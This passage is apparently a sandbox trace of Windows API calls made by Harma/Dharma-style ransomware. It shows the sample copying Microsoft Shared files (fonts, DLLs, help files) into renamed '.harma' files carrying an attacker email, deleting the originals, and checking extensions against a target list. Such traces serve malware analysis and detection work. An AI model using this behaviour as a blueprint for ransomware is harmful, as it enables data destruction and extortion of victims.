Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0065.413] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 1 [0065.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0065.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0065.414] lstrlenW (lpString=".doc") returned 4 [0065.414] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0065.414] lstrlenW (lpString=".docx") returned 5 [0065.414] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0065.414] lstrlenW (lpString=".pdf") returned 4 [0065.414] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0065.414] lstrlenW (lpString=".xls") returned 4 [0065.414] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0065.414] lstrlenW (lpString=".xlsx") returned 5 [0065.414] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0065.414] lstrlenW (lpString=".ppt") returned 4 [0065.414] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0065.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0065.414] lstrlenW (lpString=".zip") returned 4 [0065.414] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0065.414] lstrlenW (lpString=".rar") returned 4 [0065.414] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0065.414] lstrlenW (lpString=".bz2") returned 4 [0065.414] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0065.414] lstrlenW (lpString=".7z") returned 3 [0065.414] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0065.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0065.414] lstrlenW (lpString=".dbf") returned 4 [0065.415] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0065.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0065.415] lstrlenW (lpString=".1cd") returned 4 [0065.415] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0065.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0065.415] lstrlenW (lpString=".jpg") returned 4 [0065.415] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0065.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0065.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0065.415] lstrlenW (lpString=".doc") returned 4 [0065.415] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0065.415] lstrlenW (lpString=".docx") returned 5 [0065.415] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0065.415] lstrlenW (lpString=".pdf") returned 4 [0065.415] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0065.415] lstrlenW (lpString=".xls") returned 4 [0065.415] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0065.415] lstrlenW (lpString=".xlsx") returned 5 [0065.415] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0065.415] lstrlenW (lpString=".ppt") returned 4 [0065.415] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0065.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0065.415] lstrlenW (lpString=".zip") returned 4 [0065.415] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0065.415] lstrlenW (lpString=".rar") returned 4 [0065.415] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0065.415] lstrlenW (lpString=".bz2") returned 4 [0065.415] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0065.415] lstrlenW (lpString=".7z") returned 3 [0065.415] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0065.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0065.415] lstrlenW (lpString=".dbf") returned 4 [0065.416] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0065.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0065.416] lstrlenW (lpString=".1cd") returned 4 [0065.416] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0065.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0065.416] lstrlenW (lpString=".jpg") returned 4 [0065.416] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0065.416] lstrcmpiW (lpString1=".TTF", lpString2=".harma") returned 1 [0065.416] lstrlenW (lpString="MTEXTRA.TTF") returned 11 [0065.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0065.416] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=7656) returned 1 [0065.417] CloseHandle (hObject=0x1f4) returned 1 [0065.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0065.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0065.417] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0065.417] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0065.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0065.417] GetLastError () returned 0x0 [0065.417] ReadFile (in: hFile=0x1f4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x1de8, lpOverlapped=0x0) returned 1 [0065.419] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1df0, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0x1df0, lpOverlapped=0x0) returned 1 [0065.420] ReadFile (in: hFile=0x1f4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x0, lpOverlapped=0x0) returned 1 [0065.420] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0065.420] SetEndOfFile (hFile=0x1e4) returned 1 [0065.420] CloseHandle (hObject=0x1e4) returned 1 [0065.420] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0065.420] SetEndOfFile (hFile=0x1f4) returned 1 [0065.421] CloseHandle (hObject=0x1f4) returned 1 [0065.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0065.421] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 1 [0065.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0065.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0065.422] lstrlenW (lpString=".doc") returned 4 [0065.422] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0065.422] lstrlenW (lpString=".docx") returned 5 [0065.422] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0065.422] lstrlenW (lpString=".pdf") returned 4 [0065.422] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0065.422] lstrlenW (lpString=".xls") returned 4 [0065.422] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0065.422] lstrlenW (lpString=".xlsx") returned 5 [0065.422] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0065.422] lstrlenW (lpString=".ppt") returned 4 [0065.422] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0065.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0065.422] lstrlenW (lpString=".zip") returned 4 [0065.422] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0065.422] lstrlenW (lpString=".rar") returned 4 [0065.422] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0065.423] lstrlenW (lpString=".bz2") returned 4 [0065.423] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0065.423] lstrlenW (lpString=".7z") returned 3 [0065.423] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0065.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0065.423] lstrlenW (lpString=".dbf") returned 4 [0065.423] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0065.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0065.423] lstrlenW (lpString=".1cd") returned 4 [0065.423] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0065.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0065.423] lstrlenW (lpString=".jpg") returned 4 [0065.423] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0065.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0065.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0065.423] lstrlenW (lpString=".doc") returned 4 [0065.423] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0065.423] lstrlenW (lpString=".docx") returned 5 [0065.423] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0065.423] lstrlenW (lpString=".pdf") returned 4 [0065.423] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0065.424] lstrlenW (lpString=".xls") returned 4 [0065.424] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0065.424] lstrlenW (lpString=".xlsx") returned 5 [0065.424] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0065.424] lstrlenW (lpString=".ppt") returned 4 [0065.424] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0065.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0065.424] lstrlenW (lpString=".zip") returned 4 [0065.424] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0065.424] lstrlenW (lpString=".rar") returned 4 [0065.424] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0065.424] lstrlenW (lpString=".bz2") returned 4 [0065.424] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0065.424] lstrlenW (lpString=".7z") returned 3 [0065.424] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0065.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0065.424] lstrlenW (lpString=".dbf") returned 4 [0065.424] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0065.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0065.424] lstrlenW (lpString=".1cd") returned 4 [0065.424] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0065.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0065.424] lstrlenW (lpString=".jpg") returned 4 [0065.424] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0065.425] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0065.425] lstrlenW (lpString="MSOEURO.DLL") returned 11 [0065.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0065.425] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=31104) returned 1 [0065.425] CloseHandle (hObject=0x1f4) returned 1 [0065.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0065.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0065.426] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0065.426] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0065.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0065.427] GetLastError () returned 0x0 [0065.427] ReadFile (in: hFile=0x1f4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x7980, lpOverlapped=0x0) returned 1 [0065.514] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x7990, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0x7990, lpOverlapped=0x0) returned 1 [0065.515] ReadFile (in: hFile=0x1f4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x0, lpOverlapped=0x0) returned 1 [0065.515] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0065.515] SetEndOfFile (hFile=0x1e4) returned 1 [0065.515] CloseHandle (hObject=0x1e4) returned 1 [0065.516] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0065.516] SetEndOfFile (hFile=0x1f4) returned 1 [0065.517] CloseHandle (hObject=0x1f4) returned 1 [0065.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0065.517] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 1 [0065.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0065.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0065.517] lstrlenW (lpString=".doc") returned 4 [0065.517] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0065.517] lstrlenW (lpString=".docx") returned 5 [0065.517] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0065.517] lstrlenW (lpString=".pdf") returned 4 [0065.517] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0065.517] lstrlenW (lpString=".xls") returned 4 [0065.517] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0065.517] lstrlenW (lpString=".xlsx") returned 5 [0065.517] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0065.517] lstrlenW (lpString=".ppt") returned 4 [0065.517] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0065.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0065.518] lstrlenW (lpString=".zip") returned 4 [0065.518] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0065.518] lstrlenW (lpString=".rar") returned 4 [0065.518] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0065.518] lstrlenW (lpString=".bz2") returned 4 [0065.518] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0065.518] lstrlenW (lpString=".7z") returned 3 [0065.518] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0065.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0065.518] lstrlenW (lpString=".dbf") returned 4 [0065.518] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0065.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0065.518] lstrlenW (lpString=".1cd") returned 4 [0065.518] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0065.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0065.518] lstrlenW (lpString=".jpg") returned 4 [0065.518] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0065.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0065.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0065.518] lstrlenW (lpString=".doc") returned 4 [0065.518] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0065.518] lstrlenW (lpString=".docx") returned 5 [0065.518] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0065.518] lstrlenW (lpString=".pdf") returned 4 [0065.518] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0065.518] lstrlenW (lpString=".xls") returned 4 [0065.518] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0065.518] lstrlenW (lpString=".xlsx") returned 5 [0065.518] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0065.518] lstrlenW (lpString=".ppt") returned 4 [0065.518] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0065.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0065.519] lstrlenW (lpString=".zip") returned 4 [0065.519] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0065.519] lstrlenW (lpString=".rar") returned 4 [0065.519] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0065.519] lstrlenW (lpString=".bz2") returned 4 [0065.519] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0065.519] lstrlenW (lpString=".7z") returned 3 [0065.519] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0065.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0065.519] lstrlenW (lpString=".dbf") returned 4 [0065.519] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0065.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0065.519] lstrlenW (lpString=".1cd") returned 4 [0065.519] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0065.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0065.519] lstrlenW (lpString=".jpg") returned 4 [0065.519] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0065.519] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0065.519] lstrlenW (lpString="offfiltx.dll") returned 12 [0065.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0066.511] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=1486736) returned 1 [0066.511] CloseHandle (hObject=0x204) returned 1 [0066.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0066.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0066.511] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0066.511] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0066.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0066.512] GetLastError () returned 0x0 [0066.512] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0xffff0, lpOverlapped=0x0) returned 1 [0066.536] WriteFile (in: hFile=0x1e0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0066.554] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x6afa0, lpOverlapped=0x0) returned 1 [0066.568] WriteFile (in: hFile=0x1e0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x6afb0, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0x6afb0, lpOverlapped=0x0) returned 1 [0066.579] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x0, lpOverlapped=0x0) returned 1 [0066.579] WriteFile (in: hFile=0x1e0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.579] SetEndOfFile (hFile=0x1e0) returned 1 [0066.579] CloseHandle (hObject=0x1e0) returned 1 [0066.579] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0066.579] SetEndOfFile (hFile=0x204) returned 1 [0066.583] CloseHandle (hObject=0x204) returned 1 [0066.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.584] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft 